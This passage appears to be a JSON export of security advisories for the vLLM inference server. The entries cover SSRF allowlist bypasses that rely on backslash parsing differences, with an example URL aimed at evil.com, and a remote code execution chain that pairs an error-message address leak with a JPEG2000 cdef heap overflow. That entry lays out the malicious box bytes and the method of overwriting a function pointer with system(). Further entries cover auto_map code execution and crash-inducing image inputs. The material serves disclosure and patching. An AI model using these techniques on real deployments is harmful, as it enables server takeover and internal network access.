in.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-27T15:27:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","references":["https://github.com/vllm-project/vllm/security/advisories/GHSA-7972-pg2x-xr59","https://nvd.nist.gov/vuln/detail/CVE-2026-27893","https://github.com/vllm-project/vllm/pull/36192","https://github.com/vllm-project/vllm/commit/00bd08edeee5dd4d4c13277c0114a464011acf72","https://github.com/advisories/GHSA-7972-pg2x-xr59"],"source_kind":"github","identifiers":["GHSA-7972-pg2x-xr59","CVE-2026-27893"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-27T16:00:09.744Z","updated_at":"2026-05-31T18:01:18.117Z","epss_percentage":0.0004,"epss_percentile":0.12501,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03OTcyLXBnMngteHI1Oc4ABUXs","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03OTcyLXBnMngteHI1Oc4ABUXs","packages":[{"ecosystem":"pypi","package_name":"vllm","versions":[{"first_patched_version":"0.18.0","vulnerable_version_range":"\u003e= 0.10.1, \u003c 0.18.0"}],"purl":"pkg:pypi/vllm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03OTcyLXBnMngteHI1Oc4ABUXs/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12MzU5LWpqMnYtajUzNs4ABTW2","url":"https://github.com/advisories/GHSA-v359-jj2v-j536","title":"vLLM has SSRF Protection Bypass","description":"## Summary\n\nThe SSRF protection fix for https://github.com/vllm-project/vllm/security/advisories/GHSA-qh4c-xf7m-gxfc can be bypassed in the `load_from_url_async` method due to inconsistent URL parsing behavior between the validation layer and the actual HTTP client.\n\n## Affected Component\n\n- **File**: `vllm/connections.py`\n- **Function**: `load_from_url_async`\n\n## Vulnerability Details\n\n### Root Cause\n\nThe SSRF [fix](https://github.com/vllm-project/vllm/pull/32746) uses `urllib3.util.parse_url()` to validate and extract the hostname from user-provided URLs. However, `load_from_url_async` uses `aiohttp` for making the actual HTTP requests, and `aiohttp` internally uses the `yarl` library for URL parsing.\n\nThese two URL parsers handle backslash characters (`\\`) differently:\n\n| Parser | Input URL | Parsed Host | Parsed Path | Behavior |\n|--------|-----------|-------------|-------------|----------|\n| `urllib3.parse_url()` | `https://httpbin.org\\@evil.com/` | `httpbin.org` | `/%5C@evil.com/` | URL-encodes `\\` as `%5C`, treats `\\@evil.com/` as part of the path |\n| `yarl` (via aiohttp) | `https://httpbin.org\\@evil.com/` | `evil.com` | `/` | Treats `\\` as part of userinfo (`user: httpbin.org\\`), the `@` acts as the userinfo/host separator |\n\n### Attack Scenario\n\n```python\n# Attacker provides this URL\nmalicious_url = \"https://httpbin.org\\\\@evil.com/\"\n\n# 1. Validation layer (urllib3.parse_url)\nparsed = urllib3.util.parse_url(malicious_url)\n# parsed.host == \"httpbin.org\" ✅ Passes validation\n\n# 2. Actual request (aiohttp with yarl)\nasync with aiohttp.ClientSession() as session:\n async with session.get(malicious_url) as response:\n # Request actually goes to evil.com! ❌ Bypass!\n```\n\n### Why This Happens\n\n1. **yarl**: Interprets `httpbin.org\\` as the userinfo component, and `@` as the userinfo/host separator, so the URL is parsed as `user=httpbin.org\\`, `host=evil.com`, `path=/`\n2. **urllib3**: URL-encodes the backslash as `%5C`, so `\\@evil.com/` becomes `/%5C@evil.com/` which is treated as part of the path, leaving `host=httpbin.org`\n\nThis inconsistency allows an attacker to:\n- Bypass the hostname allowlist check\n- Access arbitrary internal/external services\n- Perform full SSRF attacks\n\n## Fixes\n\n- https://github.com/vllm-project/vllm/pull/34743","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-03-09T19:55:32.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.4,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L","references":["https://github.com/vllm-project/vllm/security/advisories/GHSA-qh4c-xf7m-gxfc","https://github.com/vllm-project/vllm/security/advisories/GHSA-v359-jj2v-j536","https://github.com/vllm-project/vllm/pull/34743","https://github.com/vllm-project/vllm/commit/6f3b2047abd4a748e3db4a68543f8221358002c0","https://nvd.nist.gov/vuln/detail/CVE-2026-25960","https://github.com/advisories/GHSA-v359-jj2v-j536"],"source_kind":"github","identifiers":["GHSA-v359-jj2v-j536","CVE-2026-25960"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-09T20:00:10.874Z","updated_at":"2026-06-01T03:01:36.121Z","epss_percentage":0.00028,"epss_percentile":0.08,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12MzU5LWpqMnYtajUzNs4ABTW2","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12MzU5LWpqMnYtajUzNs4ABTW2","packages":[{"ecosystem":"pypi","package_name":"vllm","versions":[{"first_patched_version":"0.17.0","vulnerable_version_range":"\u003e= 0.15.1, \u003c 0.17.0"}],"purl":"pkg:pypi/vllm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12MzU5LWpqMnYtajUzNs4ABTW2/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00cjJ4LXhwanItN2N2ds4ABRzJ","url":"https://github.com/advisories/GHSA-4r2x-xpjr-7cvv","title":"vLLM has RCE In Video Processing","description":"## Summary\n\n**A chain of vulnerabilities in vLLM allow Remote Code Execution (RCE):**\n\n1. **Info Leak** - PIL error messages expose memory addresses, bypassing ASLR\n2. **Heap Overflow** - JPEG2000 decoder in OpenCV/FFmpeg has a heap overflow that lets us hijack code execution\n\n**Result:** Send a malicious video URL to vLLM Completions or Invocations **for a video model** -\u003e Execute arbitrary commands on the server\n\nCompletely default vLLM instance directly from pip, or docker, does not have authentication so \"None\" privileges are required, but even with non-default api-key enabled configuration this exploit is feasible through invocations route that allows payload to execute pre-auth. \n\nExample heap target is provided, other heap targets can be exploited as well to achieve rce. Leak allows for simple ASLR bypass. Leak + heap overflow achieves RCE on versions prior to 0.14.1. \n\nDeployments not serving a video model are not affected.\n\n---\n\n\n## 1. Vulnerability Overview\n\n### 1.1 The Bug: JPEG2000 cdef Box Heap Overflow\nThe JPEG2000 decoder used by OpenCV (cv2) honors a `cdef` box that can remap color channels. When Y (luma) is mapped into the U (chroma) plane buffer, the decoder writes a large Y plane into the smaller U buffer, causing a heap overflow.\n\n**Root Cause**\n- `cdef` allows channel remapping (e.g., Y→U, U→Y).\n- Y plane size: `W×H`; U plane size: `(W/2)×(H/2)`.\n- Overflow size = `W×H - (W/2×H/2)` = `0.75 × W × H` bytes.\n\n**Example (150×64)**\n- Y plane: 150×64 = 9,600 bytes \n- U plane: 75×32 = 2,400 bytes \n- Overflow: 7,200 bytes past the U buffer\n\n### 1.2 Malicious cdef Box\n```\nOffset Size Field Value\n0 4 Box Length 0x00000016 (22 bytes)\n4 4 Box Type 'cdef'\n8 2 N (channels) 0x0003\n10 2 Channel 0 Cn 0x0000 (Y channel)\n12 2 Channel 0 Typ 0x0000 (color)\n14 2 Channel 0 Asoc 0x0002 (→ maps Y into U plane)\n16 2 Channel 1 Cn 0x0001 (U channel)\n18 2 Channel 1 Typ 0x0000 (color)\n20 2 Channel 1 Asoc 0x0001 (→ maps U into Y plane)\n22 2 Channel 2 Cn 0x0002 (V channel)\n24 2 Channel 2 Typ 0x0000 (color)\n26 2 Channel 2 Asoc 0x0003 (→ maps V plane)\n```\nKey control: `Asoc=2` for channel 0 forces Y data into the U buffer, triggering the overflow.\n\n---\n\n## Vulnerable Code Chain\n\n### 1) Entry: vLLM accepts a remote `video_url` and downloads raw bytes\n\nvLLM’s OpenAI-compatible API supports a `video_url` content part:\n\n```python\nclass VideoURL(TypedDict, total=False):\n url: Required[str]\n\nclass ChatCompletionContentPartVideoParam(TypedDict, total=False):\n video_url: Required[VideoURL]\n type: Required[Literal[\"video_url\"]]\n```\n\nSource: `src/vllm/entrypoints/chat_utils.py`.\n\nWhen the URL is HTTP(S), vLLM downloads it as **raw bytes** and passes the bytes into the modality loader:\n\n```python\nif url_spec.scheme.startswith(\"http\"):\n data = connection.get_bytes(url, timeout=fetch_timeout, allow_redirects=...)\n return media_io.load_bytes(data)\n```\n\nSource: `src/vllm/multimodal/utils.py` (`MediaConnector.load_from_url`).\n\n---\n\n### 2) Decode: vLLM uses OpenCV (cv2) VideoCapture on an in-memory byte stream\n\nThe default video backend is OpenCV, and it constructs `cv2.VideoCapture` over a `BytesIO` buffer containing the downloaded bytes:\n\n```python\nbackend = cls().get_cv2_video_api()\ncap = cv2.VideoCapture(BytesIO(data), backend, [])\nif not cap.isOpened():\n raise ValueError(\"Could not open video stream\")\n```\n\nSource: `src/vllm/multimodal/video.py` (`OpenCVVideoBackend.load_bytes`).\n\nThe backend is selected from OpenCV’s stream-buffered backends registry:\n\n```python\nimport cv2.videoio_registry as vr\nfor backend in vr.getStreamBufferedBackends():\n if vr.hasBackend(backend) and ...:\n api_pref = backend\n break\nreturn api_pref\n```\n\nSource: `src/vllm/multimodal/video.py` (`OpenCVVideoBackend.get_cv2_video_api`).\n\n**Implication**: vLLM is delegating container parsing + codec decode to OpenCV’s Video I/O stack (which, in typical builds, is backed by FFmpeg for MOV/MP4 and codecs like JPEG2000).\n\n---\n\n### 3) The actual overflow: Y (full-res) written into U (quarter-res)\n\nWhen the decoder honors the remap and writes Y into the U-plane buffer, it writes **too many bytes**:\n\n- Y plane bytes: \\(W \\times H\\)\n- U plane bytes: \\((W/2) \\times (H/2)\\)\n- Overflow bytes: \\(W \\times H - (W/2 \\times H/2) = 0.75 \\times W \\times H\\)\n\nConcrete example tried (150×64):\n\n- **Y**: \\(150 \\times 64 = 9600\\) bytes \n- **U**: \\(75 \\times 32 = 2400\\) bytes \n- **Overflow**: \\(9600 - 2400 = 7200\\) bytes past the end of the U allocation\n\nThis is a **heap buffer overflow** into whatever allocations follow the U-plane buffer in the decoder’s heap layout (structures, metadata, other buffers, etc.). The exact victims depend on build + runtime allocator layout.\n\n---\n\n## The Exploit Chain \n\n### Vuln 1: PIL BytesIO Address Leak (ASLR Bypass)\n\nWhen you send an **invalid image** to vLLM's multimodal endpoint, PIL throws an error like:\n\n```\ncannot identify image file \u003c_io.BytesIO object at 0x7a95e299e750\u003e\n ^^^^^^^^^^^^^^^^\n LEAKED ADDRESS!\n```\n\nvLLM returns this error to the client, **leaking a heap address**. This address is ~10.33 GB before `libc` in memory. With this leak, we reduce ASLR from **4 billion guesses to ~8 guesses**.\n\n### Vuln 2: JPEG2000 cdef Heap Overflow (RCE)\n\nvLLM uses **OpenCV (cv2)** to decode videos. OpenCV bundles **FFmpeg 5.1.x** which has a heap overflow in the JPEG2000 decoder. The OpenCV is used for video decoding so if we build a video from JPEG2000 frames it will reach the vuln:\n\n```\nvLLM API Request to Completions/Invocation\n ↓\nOpenCV cv2.VideoCapture()\n ↓\nFFmpeg 5.1 (bundled in OpenCV)\n ↓\nJPEG2000 decoder (libopenjp2)\n ↓\nHEAP OVERFLOW via malicious \"cdef\" box\n ↓\nOverwrite function pointer → RCE!\n```\n\n**How the overflow works:**\n- JPEG2000 has a `cdef` box that remaps color channels\n- We remap Y (luma) into the U (chroma) buffer\n- Y plane = 9,600 bytes, U plane = 2,400 bytes\n- On small geometry like 150x64 pixel image we get **7,200 bytes overflow** past the U buffer. We can grow that exponentially by making bigger images. \n- This overwrites an `AVBuffer` structure containing a `free()` function pointer. This could be any function pointer or other targets. \n- We set `free = system()` and `opaque = \"command string\"`\n- When the buffer is freed → `system(\"our command\")` executes\n\n---\n\n## vLLM Attack Surface\n\n### Affected Endpoints\n\nBoth multimodal endpoints are vulnerable:\n\n```\nPOST /v1/chat/completions (with video_url in content)\nPOST /v1/invocations (with video_url in content)\n```\n\n### Request Flow\n\n```\n1. Attacker sends request with video_url pointing to malicious .mov file\n2. vLLM fetches the video from the URL\n3. vLLM passes video bytes to cv2.VideoCapture()\n4. OpenCV's bundled FFmpeg decodes JPEG2000 frames\n5. Malicious cdef box triggers heap overflow\n6. AVBuffer.free pointer overwritten with system()\n7. When buffer is released → system(\"attacker command\") executes\n```\n\n---\n\n## Versions Affected\n\n| Component | Version | Notes |\n|-----------|---------|-------|\n| vLLM | \u003e= 0.8.3, \u003c 0.14.1 | Default config vulnerable when serving a video model |\n| OpenCV (cv2) | 4.x with FFmpeg bundle | Bundled FFmpeg is vulnerable |\n| FFmpeg | 5.1.x (bundled) | JPEG2000 cdef overflow |\n| libopenjp2 | 2.x | Honors malicious cdef box |\n\n---\n\n## Fixes\n\n* https://github.com/vllm-project/vllm/pull/31987\n* https://github.com/vllm-project/vllm/pull/32319\n* https://github.com/vllm-project/vllm/pull/32668","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-02-02T17:43:45.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/vllm-project/vllm/security/advisories/GHSA-4r2x-xpjr-7cvv","https://nvd.nist.gov/vuln/detail/CVE-2026-22778","https://github.com/vllm-project/vllm/pull/31987","https://github.com/vllm-project/vllm/pull/32319","https://github.com/vllm-project/vllm/releases/tag/v0.14.1","https://github.com/advisories/GHSA-4r2x-xpjr-7cvv"],"source_kind":"github","identifiers":["GHSA-4r2x-xpjr-7cvv","CVE-2026-22778"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-02-02T18:00:08.513Z","updated_at":"2026-06-01T03:02:00.198Z","epss_percentage":0.00087,"epss_percentile":0.25088,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00cjJ4LXhwanItN2N2ds4ABRzJ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00cjJ4LXhwanItN2N2ds4ABRzJ","packages":[{"ecosystem":"pypi","package_name":"vllm","versions":[{"first_patched_version":"0.14.1","vulnerable_version_range":"\u003e= 0.8.3, \u003c 0.14.1"}],"purl":"pkg:pypi/vllm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00cjJ4LXhwanItN2N2ds4ABRzJ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xaDRjLXhmN20tZ3hmY84ABRrE","url":"https://github.com/advisories/GHSA-qh4c-xf7m-gxfc","title":"vLLM vulnerable to Server-Side Request Forgery (SSRF) through MediaConnector","description":"### Summary\nA Server-Side Request Forgery (SSRF) vulnerability exists in the `MediaConnector` class within the vLLM project's multimodal feature set. The load_from_url and load_from_url_async methods obtain and process media from URLs provided by users, using different Python parsing libraries when restricting the target host. These two parsing libraries have different interpretations of backslashes, which allows the host name restriction to be bypassed. This allows an attacker to coerce the vLLM server into making arbitrary requests to internal network resources.\n\nThis vulnerability is particularly critical in containerized environments like `llm-d`, where a compromised vLLM pod could be used to scan the internal network, interact with other pods, and potentially cause Denial of Service or access sensitive data. For example, an attacker could make the vLLM pod send malicious requests to an internal `llm-d` management endpoint, leading to system instability by falsely reporting metrics like the KV cache state.\n\n### Details\nThe core of the vulnerability lies in the `MediaConnector.load_from_url` method and its asynchronous counterpart. These methods accept a URL string to fetch media content (images, audio, video).\n\n\u003e def load_from_url(\n\u003e self,\n\u003e url: str,\n\u003e media_io: MediaIO[_M],\n\u003e *,\n\u003e fetch_timeout: int | None = None,\n\u003e ) -\u003e _M: # type: ignore[type-var]\n\u003e url_spec = urlparse(url)\n\u003e \n\u003e if url_spec.scheme.startswith(\"http\"):\n\u003e self._assert_url_in_allowed_media_domains(url_spec)\n\u003e \n\u003e connection = self.connection\n\u003e data = connection.get_bytes(\n\u003e url,\n\u003e timeout=fetch_timeout,\n\u003e allow_redirects=envs.VLLM_MEDIA_URL_ALLOW_REDIRECTS,\n\u003e )\n\u003e \n\u003e return media_io.load_bytes(data)\n\nThe URL validation uses the `urlparse` function from Python's `urllib` module, while the request is made using the `request` function from Python's `requests` module. The `requests` module's underlying URL parsing is implemented using the `parse_url` function from Python's `urllib3`. These two parsing functions follow different URL specifications; one is implemented according to the RFC 3986 specification, and the other is implemented according to the WHATWG Living Standard. There is a difference in how the two functions handle backslashes (`\\`) in URLs, which allows the hostname restriction to be bypassed.\n\n### Fix\n\n* https://github.com/vllm-project/vllm/pull/32746","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-01-28T16:14:28.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L","references":["https://github.com/vllm-project/vllm/security/advisories/GHSA-qh4c-xf7m-gxfc","https://nvd.nist.gov/vuln/detail/CVE-2026-24779","https://github.com/vllm-project/vllm/pull/32746","https://github.com/vllm-project/vllm/commit/f46d576c54fb8aeec5fc70560e850bed38ef17d7","https://github.com/advisories/GHSA-qh4c-xf7m-gxfc"],"source_kind":"github","identifiers":["GHSA-qh4c-xf7m-gxfc","CVE-2026-24779"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-01-28T17:00:08.400Z","updated_at":"2026-06-01T03:02:01.438Z","epss_percentage":0.00038,"epss_percentile":0.11691,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xaDRjLXhmN20tZ3hmY84ABRrE","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xaDRjLXhmN20tZ3hmY84ABRrE","packages":[{"ecosystem":"pypi","package_name":"vllm","versions":[{"first_patched_version":"0.14.1","vulnerable_version_range":"\u003c 0.14.1"}],"purl":"pkg:pypi/vllm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xaDRjLXhmN20tZ3hmY84ABRrE/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0ycGM5LTRqODMtcWptcs4ABRWE","url":"https://github.com/advisories/GHSA-2pc9-4j83-qjmr","title":"vLLM affected by RCE via auto_map dynamic module loading during model initialization","description":"# Summary\n\nvLLM loads Hugging Face `auto_map` dynamic modules during model resolution **without gating on `trust_remote_code`**, allowing attacker-controlled Python code in a model repo/path to execute at server startup.\n\n---\n\n# Impact\n\nAn attacker who can influence the model repo/path (local directory or remote Hugging Face repo) can achieve **arbitrary code execution** on the vLLM host during model load. \nThis happens **before any request handling** and does **not require API access**.\n\n---\n\n# Affected Versions\n\nAll versions where `vllm/model_executor/models/registry.py` resolves `auto_map` entries with `try_get_class_from_dynamic_module` **without checking `trust_remote_code`** (at least current `main`).\n\n---\n\n# Details\n\nDuring model resolution, vLLM unconditionally iterates `auto_map` entries from the model config and calls `try_get_class_from_dynamic_module`, which delegates to Transformers’ `get_class_from_dynamic_module` and **executes the module code**.\n\nThis occurs even when `trust_remote_code` is `false`, allowing a malicious model repo to embed code in a referenced module and have it executed during initialization.\n\n### Relevant code\n\n- `vllm/model_executor/models/registry.py:856` — auto_map resolution \n- `vllm/transformers_utils/dynamic_module.py:13` — delegates to `get_class_from_dynamic_module`, which executes code\n\n---\n\n# Fixes\n\n* https://github.com/vllm-project/vllm/pull/32194\n\n# Credits\n\nReported by **bugbunny.ai**","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-01-21T16:12:54.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","references":["https://github.com/vllm-project/vllm/security/advisories/GHSA-2pc9-4j83-qjmr","https://github.com/vllm-project/vllm/pull/32194","https://github.com/vllm-project/vllm/commit/78d13ea9de4b1ce5e4d8a5af9738fea71fb024e5","https://github.com/vllm-project/vllm/releases/tag/v0.14.0","https://nvd.nist.gov/vuln/detail/CVE-2026-22807","https://github.com/advisories/GHSA-2pc9-4j83-qjmr"],"source_kind":"github","identifiers":["GHSA-2pc9-4j83-qjmr","CVE-2026-22807"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-01-21T17:00:07.141Z","updated_at":"2026-06-01T03:02:02.703Z","epss_percentage":0.00029,"epss_percentile":0.08705,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0ycGM5LTRqODMtcWptcs4ABRWE","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0ycGM5LTRqODMtcWptcs4ABRWE","packages":[{"ecosystem":"pypi","package_name":"vllm","versions":[{"first_patched_version":"0.14.0","vulnerable_version_range":"\u003e= 0.10.1, \u003c 0.14.0"}],"purl":"pkg:pypi/vllm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0ycGM5LTRqODMtcWptcs4ABRWE/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ncmcyLTYzZnctZjJxcs4ABRBy","url":"https://github.com/advisories/GHSA-grg2-63fw-f2qr","title":"vLLM is vulnerable to DoS in Idefics3 vision models via image payload with ambiguous dimensions","description":"### Summary\nUsers can crash the vLLM engine serving multimodal models that use the _Idefics3_ vision model implementation by sending a specially crafted 1x1 pixel image. This causes a tensor dimension mismatch that results in an unhandled runtime error, leading to complete server termination.\n\n### Details\nThe vulnerability is triggered when the image processor encounters a 1x1 pixel image with shape (1, 1, 3) in HWC (Height, Width, Channel) format. Due to the ambiguous dimensions, the processor incorrectly assumes the image is in CHW (Channel, Height, Width) format with shape (3, H, W). This misinterpretation causes an incorrect calculation of the number of image patches, resulting in a fatal tensor split operation failure.\n\n**Crash location**: `vllm/model_executor/models/idefics3.py` line 672:\n```python\ndef _process_image_input(self, image_input: ImageInputs) -\u003e torch.Tensor | list[torch.Tensor]:\n # ...\n num_patches = image_input[\"num_patches\"]\n return [e.flatten(0, 1) for e in image_features.split(num_patches.tolist())]\n```\n\nThe `split()` call fails because the computed `num_patches` value (17) does not match the actual tensor dimension (9):\n```\nRuntimeError: split_with_sizes expects split_sizes to sum exactly to 9 \n(input tensor's size at dimension 0), but got split_sizes=[17]\n```\n\nThis unhandled exception terminates the EngineCore process, crashing the server.\n\n#### Affected Models\nAny model using the Idefics3 architecture. The vulnerability was tested with `HuggingFaceTB/SmolVLM-Instruct`.\n\n### Impact\nDenial of service by crashing the engine\n\n### Mitigation\nValidating the input:\n```python\ndef _validate_image_dimensions(self, image_shape):\n h, w = image_shape[:2] if len(image_shape) == 3 else image_shape\n if h \u003c MIN_IMAGE_SIZE or w \u003c MIN_IMAGE_SIZE:\n raise ValueError(f\"Image dimensions too small: {h}x{w}\")\n```\n\nManaging the exception:\n```python\ntry:\n return [e.flatten(0, 1) for e in image_features.split(num_patches.tolist())]\nexcept RuntimeError as e:\n logger.error(f\"Image processing failed: {e}\")\n raise InvalidImageError(\"Failed to process image features\") from e\n```\n\n### Fixes\n\n* https://github.com/vllm-project/vllm/pull/29881","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-01-13T18:44:15.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/vllm-project/vllm/security/advisories/GHSA-grg2-63fw-f2qr","https://nvd.nist.gov/vuln/detail/CVE-2026-22773","https://github.com/vllm-project/vllm/pull/29881","https://github.com/vllm-project/vllm/commit/0ec84221718d920c3f46da879cc354f94b8fb59e","https://github.com/advisories/GHSA-grg2-63fw-f2qr"],"source_kind":"github","identifiers":["GHSA-grg2-63fw-f2qr","CVE-2026-22773"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-01-13T19:00:07.569Z","updated_at":"2026-06-01T03:02:06.762Z","epss_percentage":0.00024,"epss_percentile":0.06889,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ncmcyLTYzZnctZjJxcs4ABRBy","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ncmcyLTYzZnctZjJxcs4ABRBy","packages":[{"ecosystem":"pypi","package_name":"vllm","versions":[{"first_patched_version":"0.12.0","vulnerable_version_range":"\u003e= 0.6.4, \u003c 0.12.0"}],"purl":"pkg:pypi/vllm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ncmcyLTYzZnctZjJxcs4ABRBy/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tY21jLTJtNTUtajhqas4ABQ31","url":"https://github.com/advisories/GHSA-mcmc-2m55-j8jj","title":"vLLM introduced enhanced protection for CVE-2025-62164","description":"### Summary\nThe fix [here](https://github.com/vllm-project/vllm/pull/27204) for CVE-2025-62164 is not sufficient. The fix only disables prompt embeds by default rather than addressing the root cause, so the DoS vulnerability remains when the feature is enabled.\n\n### Details\nvLLM's pending change attempts to fix the root cause, which is the missing sparse tensor validation. PyTorch (~v2.0) disables sparse tensor validation (specifically, sparse tensor invariants checks) by default for performance reasons. vLLM is adding the sparse tensor validation to ensure indices are valid, non-negative, and within bounds. These checks help catch malformed tensors.\n\n### PoC\nNA\n\n### Impact\nCurrent fix only added a flag to disable/enable prompt embeds, so by default, prompt embeds feature is disabled in vLLM, which stops DoS attacks through the embeddings. However, It doesn’t address the problem when the flag is enabled and there is still potential for DoS attacks.\n\n### Changes\n\n* https://github.com/vllm-project/vllm/pull/30649","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-01-08T21:47:43.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/vllm-project/vllm/security/advisories/GHSA-mcmc-2m55-j8jj","https://github.com/vllm-project/vllm/pull/30649","https://github.com/advisories/GHSA-mcmc-2m55-j8jj"],"source_kind":"github","identifiers":["GHSA-mcmc-2m55-j8jj"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-01-08T22:00:07.406Z","updated_at":"2026-06-01T03:02:06.775Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tY21jLTJtNTUtajhqas4ABQ31","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tY21jLTJtNTUtajhqas4ABQ31","packages":[{"ecosystem":"pypi","package_name":"vllm","versions":[{"first_patched_version":"0.13.0","vulnerable_version_range":"\u003e= 0.10.2, \u003c 0.11.1"}],"purl":"pkg:pypi/vllm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tY21jLTJtNTUtajhqas4ABQ31/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04ZnI0LTVxOWotbThnbc4ABPHk","url":"https://github.com/advisories/GHSA-8fr4-5q9j-m8gm","title":"vLLM vulnerable to remote code execution via transformers_utils/get_config","description":"### Summary\n\n`vllm` has a critical remote code execution vector in a config class named `Nemotron_Nano_VL_Config`. When `vllm` loads a model config that contains an `auto_map` entry, the config class resolves that mapping with `get_class_from_dynamic_module(...)` and immediately instantiates the returned class. This fetches and executes Python from the remote repository referenced in the `auto_map` string. Crucially, this happens even when the caller explicitly sets `trust_remote_code=False` in `vllm.transformers_utils.config.get_config`. In practice, an attacker can publish a benign-looking frontend repo whose `config.json` points via `auto_map` to a separate malicious backend repo; loading the frontend will silently run the backend’s code on the victim host.\n\n### Details\n\nThe vulnerable code resolves and instantiates classes from `auto_map` entries without checking whether those entries point to a different repo or whether remote code execution is allowed.\n\n```python\nclass Nemotron_Nano_VL_Config(PretrainedConfig):\n model_type = 'Llama_Nemotron_Nano_VL'\n\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n\n if vision_config is not None:\n assert \"auto_map\" in vision_config and \"AutoConfig\" in vision_config[\"auto_map\"]\n # \u003c-- vulnerable dynamic resolution + instantiation happens here\n vision_auto_config = get_class_from_dynamic_module(*vision_config[\"auto_map\"][\"AutoConfig\"].split(\"--\")[::-1])\n self.vision_config = vision_auto_config(**vision_config)\n else:\n self.vision_config = PretrainedConfig()\n```\n\n`get_class_from_dynamic_module(...)` is capable of fetching and importing code from the Hugging Face repo specified in the mapping. `trust_remote_code` is not enforced for this code path. As a result, a frontend repo can redirect the loader to any backend repo and cause code execution, bypassing the `trust_remote_code` guard.\n\n### Impact\n\nThis is a critical vulnerability because it breaks the documented `trust_remote_code` safety boundary in a core model-loading utility. The vulnerable code lives in a common loading path, so any application, service, CI job, or developer machine that uses `vllm`’s transformer utilities to load configs can be affected. The attack requires only two repos and no user interaction beyond loading the frontend model. A successful exploit can execute arbitrary commands on the host.\n\n### Fixes\n\n* 